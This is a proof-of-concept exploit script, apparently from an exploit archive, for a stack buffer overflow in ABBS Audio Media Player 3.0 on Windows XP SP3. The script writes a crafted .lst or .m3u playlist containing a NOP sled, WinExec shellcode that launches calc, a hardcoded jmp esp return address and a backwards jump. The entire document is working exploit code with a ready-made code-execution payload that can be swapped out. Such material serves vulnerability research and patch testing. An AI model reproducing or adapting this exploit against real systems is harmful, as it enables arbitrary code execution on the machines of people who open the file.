ABBS Audio Media Player – ‘.m3u’ / ‘.LST’ Local Buffer Overflow
# Exploit: ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST) # Date: 14.03.11 # Author: Rh0 (Rh0[at]z1p.biz) # Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip # Version: 3.0 # Tested on: WinXP Pro SP3 EN (VirtualBox) print "[*] Stack buffer overflow in ABBS Audio Media Player 3.0 [*]" bufferlen = 4108; # buffer until return address overwrite nops = "\x90" * 5; ## WinExec("calc",1) shellcode = ( "\x33\xC0" # xor eax,eax "\x50" # push eax "\x68\x63\x61\x6C\x63" # push 'calc' "\x8B\xDC" # mov ebx, esp "\xB0\x01" # mov al, 1 "\x50" # push eax "\x53" # push ebx "\xB8\x0C\x25\x86\x7C" # mov eax, 7C86250C "\x04\x01" # add al, 1 "\xFF\xD0" # call eax (WinExec@kernel32.dll) ) ret = "\x87\xa7\xa7\x7c"; # jmp esp @user32.dll (0x7ca7a787) esp = "\xe9\xeb\xef\xff\xff"; # jmp backwards 4116 bytes buffer = nops buffer += shellcode buffer += "A" * (bufferlen - len(buffer)) buffer += ret; buffer += esp; try: A = open("exploit.lst","wb") # exploit works also with .m3u A.write(buffer) A.close() print "[*] exploit.lst created [*]" except: print "[*] Error while creating file [*]" print "[*] Enter to continue.. [*]" raw_input() |